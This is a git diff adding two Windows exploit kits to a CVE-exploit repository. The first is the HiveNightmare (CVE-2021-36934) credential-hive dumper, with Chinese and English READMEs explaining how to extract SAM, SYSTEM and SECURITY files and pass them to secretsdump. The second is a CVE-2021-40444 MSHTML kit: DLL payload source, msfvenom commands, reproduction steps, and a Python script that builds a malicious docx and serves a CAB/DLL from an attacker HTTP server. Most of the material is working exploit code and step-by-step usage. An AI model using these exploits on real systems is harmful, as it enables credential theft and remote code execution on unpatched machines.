200); + swprintf_s(fileName, L"SECURITY-%s", fileTime); + dumpHandleToFile(hFile, fileName); + CloseHandle(hFile); + wcout << endl << L"Success: SECURITY hive from " << fileTime << L" written out to current working directory as " << fileName << endl << endl; + } + + + hFile = getVssFileHandle(systemLocation, searchDepth); + if (hFile == INVALID_HANDLE_VALUE) { + wcout << "Could not open SYSTEM :( Is System Protection not enabled or vulnerability fixed? Try increasing the number of VSS snapshots to search - list snapshots with vssadmin list shadows\n"; + return -1; + } + else { + getFileTime(hFile, fileTime, 200); + swprintf_s(fileName, L"SYSTEM-%s", fileTime); + dumpHandleToFile(hFile, fileName); + CloseHandle(hFile); + wcout << endl << L"Success: SYSTEM hive from " << fileTime << L" written out to current working directory as " << fileName << endl << endl; + } + + wcout << endl << L"Assuming no errors above, you should be able to find hive dump files in current working directory." << endl; + + return 0; +} diff --git a/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj new file mode 100644 index 0000000..4012609 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj @@ -0,0 +1,149 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {d92ec8b5-b4b6-4650-a848-00160cbe13e0} + HiveNightmare + 10.0.18362.0 + + + + Application + true + v140 + Unicode + + + Application + false + v140 + true + Unicode + + + Application + true + v140 + Unicode + + + Application + false + v140 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + MinSpace + MultiThreaded + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj.filters b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj.filters new file mode 100644 index 0000000..7bd797f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj.user b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-36934/HiveNightmare/HiveNightmare.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-36934/HiveNightmare_x64.exe b/00-CVE_EXP/CVE-2021-36934/HiveNightmare_x64.exe new file mode 100644 index 0000000..3d383dc Binary files /dev/null and b/00-CVE_EXP/CVE-2021-36934/HiveNightmare_x64.exe differ diff --git a/00-CVE_EXP/CVE-2021-36934/HiveNightmare_x86.exe b/00-CVE_EXP/CVE-2021-36934/HiveNightmare_x86.exe new file mode 100644 index 0000000..6436425 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-36934/HiveNightmare_x86.exe differ diff --git a/00-CVE_EXP/CVE-2021-36934/README.md b/00-CVE_EXP/CVE-2021-36934/README.md new file mode 100644 index 0000000..bd95d70 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-36934/README.md @@ -0,0 +1,66 @@ +### CVE-2021-36934 + +#### 描述 + +Windows Elevation 漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1809 | | | +| Windows 10 | x64/x86/ARM64 | 1909 | | | +| Windows 10 | x64/x86/ARM64 | 2004 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | 21H1 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36934 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V140)X64 Release +- VS2019(V140)X86 Release + +测试系统Windows 10 2004 X64 + +使用命令来查看目标系统是否是易受攻击的 + +``` +icacls C:\windows\system32\config\sam +``` + +当出现如下图所示就表明是易受攻击的机器 + +![image-20210905164036648](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_1.png) + +然后需要开启系统还原,右键“此电脑->属性”,点击“系统保护->配置->启用系统保护->应用->确定” + +![image-20210905164831213](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_2.png) + +然后创建系统还原点 + +![image-20210905164912574](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_3.png) + +接着使用EXP即可获取到系统的SAM,SYSTEM和SECURITY文件 + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_4.gif) + +最后使用impacket项目进行登录即可 + +``` +git clone https://github.com/SecureAuthCorp/impacket.git +cd impacket/examples +python3 secretsdump.py -sam SAM-2021-07-11 -system SYSTEM-2021-07-11 -security SECURITY-2021-07-11 LOCAL +``` + + + +#### 代码来源 + +- [GossiTheDog](https://github.com/GossiTheDog/HiveNightmare) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-36934/README_EN.md b/00-CVE_EXP/CVE-2021-36934/README_EN.md new file mode 100644 index 0000000..a0c03e5 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-36934/README_EN.md @@ -0,0 +1,66 @@ +### CVE-2021-36934 + +#### Describe + +Windows Elevation of Privilege Vulnerability + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x64/x86/ARM64 | 1809 | | | +| Windows 10 | x64/x86/ARM64 | 1909 | | | +| Windows 10 | x64/x86/ARM64 | 2004 | | ✔ | +| Windows 10 | x64/x86/ARM64 | 20H2 | | | +| Windows 10 | x64/x86/ARM64 | 21H1 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36934 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V140)X64 Release +- VS2019(V140)X86 Release + +Test system Windows 10 2004 X64 + +Use the command to see if the target system is vulnerable to attack + +``` +icacls C:\windows\system32\config\sam +``` + +When the following figure shows the machine, it is an easy attack. + +![image-20210905164036648](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_1.png) + +Then you need to turn on the system restore, right key "This computer-> property", click "System Protection -> Configuration -> Enable System Protection -> Apply -> OK" + +![image-20210905164831213](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_2.png) + +Then create a system restore point + +![image-20210905164912574](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_3.png) + +Then you can get the system's SAM and SYSTEM and SECURITY files using Exp. + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-36934_Windows_10_2004_X64_4.gif) + +Finally, use the IMPACKET project to log in. + +``` +git clone https://github.com/SecureAuthCorp/impacket.git +cd impacket/examples +python3 secretsdump.py -sam SAM-2021-07-11 -system SYSTEM-2021-07-11 -security SECURITY-2021-07-11 LOCAL +``` + + + +#### CodeSource + +- [GossiTheDog](https://github.com/GossiTheDog/HiveNightmare) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/README.md b/00-CVE_EXP/CVE-2021-40444/README.md new file mode 100644 index 0000000..0e5aff9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/README.md @@ -0,0 +1,126 @@ +### CVE-2021-40444 + +#### 描述 + +这个漏洞是IE浏览器的漏洞,但是offer相关组件默认使用的是IE浏览器,所以在offer相关组件禁用了ActiveX也一样可以执行 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64 | 1607 | | | +| Windows 10 | x86/x64/AMD64 | 1809 | | | +| Windows 10 | x86/x64/AMD64 | 1909 | | | +| Windows 10 | x86/x64/AMD64 | 2004 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 20H2 | | | +| Windows 10 | x86/x64/AMD64 | 21H1 | | | +| Windows 7 | x86/x64 | | SP1 | | +| Windows 8.1 | x86/x64 | | | | +| Windows Rt 8.1 | | | | | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + + + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444 +``` + +#### 利用原理 + +根据之前在野利用样本`938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52` + +可以知道,其实就是利用默认浏览器(IE)加载ActiveX + +![image-20210911112944428](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_1.png) + +本质上恶意利用只需要修改样本中的`document.xml.rels`文件中框起来mhtml和x-usc这两段内容该为恶意目标网页,即可达到利用 + +#### 利用方式 + +首先需要生成一个恶意的DLL文件,通过msf或者自己编译都行 + +- 自己编译 + + ```c + //calc.c + #include + + void exec(void) { + system("cmd /c calc"); + return; + } + + BOOL WINAPI DllMain( + HINSTANCE hinstDLL, + DWORD fdwReason, + LPVOID lpReserved ) + { + switch( fdwReason ) + { + case DLL_PROCESS_ATTACH: + exec(); + break; + + case DLL_THREAD_ATTACH: + break; + + case DLL_THREAD_DETACH: + break; + + case DLL_PROCESS_DETACH: + break; + } + return TRUE; + } + ``` + + 然后运行命令 + + ``` + i686-w64-mingw32-gcc -shared calc.c -o calc.dll + ``` + +- 通过msf编译 + + ``` + msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f dll>>calc.dll + ``` + +> 最好使用MSF生成DLL文件! +> +> 还有请看准对应机器,有些Windows 10 版本不存在该问题 + +安装环境所需要的依赖`sudo apt-get install lcab`,生成 cab用的 + +接着使用一键化脚本,`test/calc.dll`这个为你生成的哪个dll所在的绝对路径,`http://you_ip`你启动exp这台机器的IP + +``` +cd CVE-2021-40444 ; python3 exploit.py generate test/calc.dll http://you_ip +``` + +![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_2.png) + +然后启动http服务 + +``` +cd srv ; python3 -m http.server 80 +``` + +接着把生成的恶意docx文件(在`out/`文件夹中),放到目标机器上(Windows 10 2004 x64),即可执行成功 + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_3.gif) + +#### 参考项目 + +- [prcabral](https://github.com/prcabral/CVE-2021-40444) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/README_EN.md b/00-CVE_EXP/CVE-2021-40444/README_EN.md new file mode 100644 index 0000000..9d168fc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/README_EN.md @@ -0,0 +1,126 @@ +### CVE-2021-40444 + +#### Describe + +Microsoft MSHTML Remote Code Execution Vulnerability + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64 | 1607 | | | +| Windows 10 | x86/x64/AMD64 | 1809 | | | +| Windows 10 | x86/x64/AMD64 | 1909 | | | +| Windows 10 | x86/x64/AMD64 | 2004 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 20H2 | | | +| Windows 10 | x86/x64/AMD64 | 21H1 | | | +| Windows 7 | x86/x64 | | SP1 | | +| Windows 8.1 | x86/x64 | | | | +| Windows Rt 8.1 | | | | | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + + + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444 +``` + +#### UtilizationPrinciple + +Based on the previous use of samples`938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52` + +You can know that it is to load ActiveX using the default browser (IE) + +![image-20210911112944428](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_1.png) + +Essentially maliciously uses only the `Document.xml.Rels` files in the sample, MHTML and X-USC, which can be used as the malicious target web page, you can achieve the utilization + +#### Utilization + +First, you need to generate a malicious DLL file, and compile themselves through MSF or yourself. + +- Compile + + ```c + //calc.c + #include + + void exec(void) { + system("cmd /c calc"); + return; + } + + BOOL WINAPI DllMain( + HINSTANCE hinstDLL, + DWORD fdwReason, + LPVOID lpReserved ) + { + switch( fdwReason ) + { + case DLL_PROCESS_ATTACH: + exec(); + break; + + case DLL_THREAD_ATTACH: + break; + + case DLL_THREAD_DETACH: + break; + + case DLL_PROCESS_DETACH: + break; + } + return TRUE; + } + ``` + + Then run the command + + ``` + i686-w64-mingw32-gcc -shared calc.c -o calc.dll + ``` + +- Compiled by MSF + + ``` + msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -f dll>>calc.dll + ``` + +> It is best to use MSF to generate a DLL file! +> +> Also, please see the corresponding machine, some Windows 10 version does not exist. + +The relying on the installation environment is required to generate a cab + +Then use a one-touch script,`test/calc.dll`This is the absolute path you generated by you,`http://you_ip`You start the IP of the EXP this machine + +``` +cd CVE-2021-40444 ; python3 exploit.py generate test/calc.dll http://you_ip +``` + +![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_2.png) + +Then start the HTTP service + +``` +cd srv ; python3 -m http.server 80 +``` + +The resulting malicious DOCX file (in the `out/` folder) is placed on the target machine (Windows 10 2004 x64), can perform success + +![1](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40444_Windows_10_2004_X64_3.gif) + +#### ProjectSource + +- [prcabral](https://github.com/prcabral/CVE-2021-40444) \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/REPRODUCE.md b/00-CVE_EXP/CVE-2021-40444/REPRODUCE.md new file mode 100644 index 0000000..a0384db --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/REPRODUCE.md @@ -0,0 +1,77 @@ +# CVE-2021-40444 + +Reproduce steps for CVE-2021-40444 + +These reproduction steps are based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file). + +## Generating docx + +Go to `maldoc/word/_rels/document.xml.rels` and edit the two ocurrences for `http://` with the URL to the exploit.html Eg.: `http://127.0.0.1/exploit.html` file. + +Generate docx: + +`cd maldoc/ ; zip -r maldoc.docx *` + +## Generating malicious cab + +``` +#include + +void exec(void) { + system("C:\\Windows\\System32\\calc.exe"); + return; +} + +BOOL WINAPI DllMain( + HINSTANCE hinstDLL, + DWORD fdwReason, + LPVOID lpReserved ) +{ + switch( fdwReason ) + { + case DLL_PROCESS_ATTACH: + exec(); + break; + + case DLL_THREAD_ATTACH: + break; + + case DLL_THREAD_DETACH: + break; + + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} +``` + +Exec: + +`i686-w64-mingw32-gcc -shared calc.c -o calc.dll` + +Generate cab (install lcab `sudo apt-get install lcab`) + +`cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab` + +Copy out.cab into `www/` directory, modify exploit.html to point to `http://127.0.0.1/out.cab` + +Execute Python script: `patch_cab.py` + +Finally, setup server: + +`cd www/ ; sudo python3 -m http.server 80` + +# End + +Execute now maldoc.docx in target VM + +If not working, make sure there is a `championship.inf` file at `C:\Users\\AppData\Temp\` + +If file is present but DLL did not get executed, make sure you are opening docx from a folder reached from by exploit.html, like Documents, Desktop, or Downloads. + +# More + +To automatically resolve the array obfuscation on HTML file use `deobfuscate.py` (already has hardcoded the mutated array) + +Anyway, there is already a deobfuscated version: `deob.html` diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/[Content_Types].xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/[Content_Types].xml new file mode 100644 index 0000000..fde4e92 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/_rels/.rels b/00-CVE_EXP/CVE-2021-40444/data/word_dat/_rels/.rels new file mode 100644 index 0000000..32548d4 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/docProps/app.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/docProps/app.xml new file mode 100644 index 0000000..961b67b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/docProps/app.xml @@ -0,0 +1,2 @@ + +3412061176Microsoft Office Word092falseConsumers Associationfalse1380falsefalse16.0000 \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/docProps/core.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/docProps/core.xml new file mode 100644 index 0000000..8f3b81b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/docProps/core.xml @@ -0,0 +1,2 @@ + +Microsoftuser62013-10-31T15:25:00Z2021-08-31T16:47:00Zen-US diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/_rels/document.xml.rels b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/_rels/document.xml.rels new file mode 100644 index 0000000..2631d1e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/document.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/document.xml new file mode 100644 index 0000000..4f0cec5 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/document.xml @@ -0,0 +1,2 @@ + +EnhancedMetaFilefalse\f 0     \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/fontTable.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/fontTable.xml new file mode 100644 index 0000000..26e2a1a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/settings.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/settings.xml new file mode 100644 index 0000000..e1849a7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/styles.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/styles.xml new file mode 100644 index 0000000..fb5bc24 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/theme/theme1.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/theme/theme1.xml new file mode 100644 index 0000000..9616693 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/webSettings.xml b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/webSettings.xml new file mode 100644 index 0000000..2062e93 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/data/word_dat/word/webSettings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40444/exploit.py b/00-CVE_EXP/CVE-2021-40444/exploit.py new file mode 100644 index 0000000..40ddffb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/exploit.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 + +# Microsoft Office Remote Code Execution Exploit via Logical Bug +# Result is ability for attackers to execute arbitrary custom DLL's +# downloaded and executed on target system + +import sys +import os +import subprocess + +HOST_DIR = 'srv/' + +m_off = 0x2d + +def usage(): + print('[%] Usage: ' + str(sys.argv[0]) + ' ') + print('[i] Example: ' + str(sys.argv[0]) + ' generate test/calc.dll http://192.168.1.41') + print('[i] Example: sudo ' + str(sys.argv[0]) + ' host 80') + exit() + +def check_usage(): + ret = 0 + if(len(sys.argv) < 2): + usage() + if(sys.argv[1] == 'generate'): + if(len(sys.argv) != 4): + usage() + ret = 1 + elif(sys.argv[1] == 'host'): + if(len(sys.argv) != 3): + usage() + ret = 2 + else: + usage() + return ret + +def patch_cab(path): + f_r = open(path, 'rb') + cab_content = f_r.read() + f_r.close() + + out_cab = cab_content[:m_off] + out_cab += b'\x00\x5c\x41\x00' + out_cab += cab_content[m_off+4:] + + out_cab = out_cab.replace(b'..\\msword.inf', b'../msword.inf') + + f_w = open(path, 'wb') + f_w.write(out_cab) + f_w.close() + return + +def execute_cmd(cmd): + r = subprocess.getoutput(cmd) + return r + +def generate_payload(): + + payload_path = sys.argv[2] + srv_url = sys.argv[3] + + print('\n[ == Options == ]') + print('\t[ DLL Payload: ' + str(payload_path)) + print('\t[ HTML Exploit URL: ' + str(srv_url)) + print('') + + try: + payload_content = open(payload_path,'rb').read() + filep = open('data/word.dll','wb') + filep.write(payload_content) + filep.close() + except: + print('[-] DLL Payload specified not found!') + exit() + + execute_cmd('cp -r data/word_dat/ data/tmp_doc/') + + print('[*] Writing HTML Server URL...') + + rels_pr = open('data/tmp_doc/word/_rels/document.xml.rels', 'r') + xml_content = rels_pr.read() + rels_pr.close() + + xml_content = xml_content.replace('', srv_url + '/word.html') + + rels_pw = open('data/tmp_doc/word/_rels/document.xml.rels', 'w') + rels_pw.write(xml_content) + rels_pw.close() + + print('[*] Generating malicious docx file...') + + os.chdir('data/tmp_doc/') + os.system('zip -r document.docx *') + execute_cmd('cp document.docx ../../out/document.docx') + os.chdir('../') + execute_cmd('rm -R tmp_doc/') + os.chdir('../') + + print('[*] Generating malicious CAB file...') + + os.chdir('data/') + execute_cmd('mkdir cab/') + execute_cmd('cp word.dll msword.inf') + os.chdir('cab/') + execute_cmd('lcab \'../msword.inf\' out.cab') + patch_cab('out.cab') + execute_cmd('cp out.cab ../../srv/word.cab') + os.chdir('../') + execute_cmd('rm word.dll') + execute_cmd('rm msword.inf') + execute_cmd('rm -R cab/') + os.chdir('../') + + print('[*] Updating information on HTML exploit...') + + os.chdir('srv/') + execute_cmd('cp backup.html word.html') + + p_exp = open('word.html', 'r') + exploit_content = p_exp.read() + p_exp.close() + + exploit_content = exploit_content.replace('', srv_url + '/word.cab') + + p_exp = open('word.html', 'w') + p_exp.write(exploit_content) + p_exp.close() + + os.chdir('../') + + print('[+] Malicious Word Document payload generated at: out/document.docx') + print('[+] Malicious CAB file generated at: srv/word.cab') + print('[i] You can execute now the server and then send document.docx to target') + + return + +def start_server(): + os.chdir(HOST_DIR) + try: + port = int(sys.argv[2]) + except: + print('[-] Invalid port specified!') + exit() + os.system('python3 -m http.server ' + str(port)) + return + +if __name__ == '__main__': + print('[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]') + + r = check_usage() + + if(r == 1): + print('[*] Option is generate a malicious payload...') + generate_payload() + elif(r == 2): + print('[*] Option is host HTML Exploit...') + start_server() + else: + print('[-] Unknown error') + exit() + + + diff --git a/00-CVE_EXP/CVE-2021-40444/out/hello.txt b/00-CVE_EXP/CVE-2021-40444/out/hello.txt new file mode 100644 index 0000000..e69de29 diff --git a/00-CVE_EXP/CVE-2021-40444/srv/backup.html b/00-CVE_EXP/CVE-2021-40444/srv/backup.html new file mode 100644 index 0000000..95e0e97 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/srv/backup.html @@ -0,0 +1,3 @@ + diff --git a/00-CVE_EXP/CVE-2021-40444/srv/calc.cab b/00-CVE_EXP/CVE-2021-40444/srv/calc.cab new file mode 100644 index 0000000..5c9004e Binary files /dev/null and b/00-CVE_EXP/CVE-2021-40444/srv/calc.cab differ diff --git a/00-CVE_EXP/CVE-2021-40444/srv/deob.html b/00-CVE_EXP/CVE-2021-40444/srv/deob.html new file mode 100644 index 0000000..493988b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/srv/deob.html @@ -0,0 +1,70 @@ + + + + + + + + + + diff --git a/00-CVE_EXP/CVE-2021-40444/srv/index.html b/00-CVE_EXP/CVE-2021-40444/srv/index.html new file mode 100644 index 0000000..eb0e7a0 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40444/srv/index.html @@ -0,0 +1,376 @@ + + + + + + + Apache2 Ubuntu Default Page: It works + + + +
+ + +
+ + +
+
+ It works! +
+
+

+ This is the default welcome page used to test the correct + operation of the Apache2 server after installation on Ubuntu systems. + It is based on the equivalent page on Debian, from which the Ubuntu Apache + packaging is derived. + If you can read this page, it means that the Apache HTTP server installed at + this site is working properly. You should replace this file (located at + /var/www/html/index.html) before continuing to operate your HTTP server. +

+ + +

+ If you are a normal user of this web site and don't know what this page is + about, this probably means that the site is currently unavailable due to + maintenance. + If the problem persists, please contact the site's administrator. +

+ +
+
+
+ Configuration Overview +
+
+

+ Ubuntu's Apache2 default configuration is different from the + upstream default configuration, and split into several files optimized for + interaction with Ubuntu tools. The configuration system is + fully documented in + /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full + documentation. Documentation for the web server itself can be + found by accessing the manual if the apache2-doc + package was installed on this server. + +

+

+ The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows: +

+
+/etc/apache2/
+|-- apache2.conf
+|       `--  ports.conf
+|-- mods-enabled
+|       |-- *.load
+|       `-- *.conf
+|-- conf-enabled
+|       `-- *.conf
+|-- sites-enabled
+|       `-- *.conf
+          
+
    +
  • + apache2.conf is the main configuration + file. It puts the pieces together by including all remaining configuration + files when starting up the web server. +
  • + +
  • + ports.conf is always included from the + main configuration file. It is used to determine the listening ports for + incoming connections, and this file can be customized anytime. +
  • + +
  • + Configuration files in the mods-enabled/, + conf-enabled/ and sites-enabled/ directories contain + particular configuration snippets which manage modules, global configuration + fragments, or virtual host configurations, respectively. +
  • + +
  • + They are activated by symlinking available + configuration files from their respective + *-available/ counterparts. These should be managed + by using our helpers + + a2enmod, + a2dismod, + + + a2ensite, + a2dissite, + + and + + a2enconf, + a2disconf + . See their respective man pages for detailed information. +
  • + +
  • + The binary is called apache2. Due to the use of + environment variables, in the default configuration, apache2 needs to be + started/stopped with /etc/init.d/apache2 or apache2ctl. + Calling /usr/bin/apache2 directly will not work with the + default configuration. +
  • +
+
+ +
+
+ Document Roots +
+ +
+

+ By default, Ubuntu does not allow access through the web browser to + any file apart of those located in /var/www, + public_html + directories (when enabled) and /usr/share (for web + applications). If your site is using a web document root + located elsewhere (such as in /srv) you may need to whitelist your + document root directory in /etc/apache2/apache2.conf. +

+

+ The default Ubuntu document root is /var/www/html. You + can make your own virtual hosts under /var/www. This is different + to previous releases which provides better security out of the box. +

+
+ +
+
+ Reporting Problems +
+
+

+ Please use the ubuntu-bug tool to report bugs in the + Apache2 package with Ubuntu. However, check existing bug reports before reporting a new bug. +

+

+ Please report bugs specific to modules (such as PHP and others) + to respective packages, not to the web server itself. +

+
+ + + + +
+
+
+
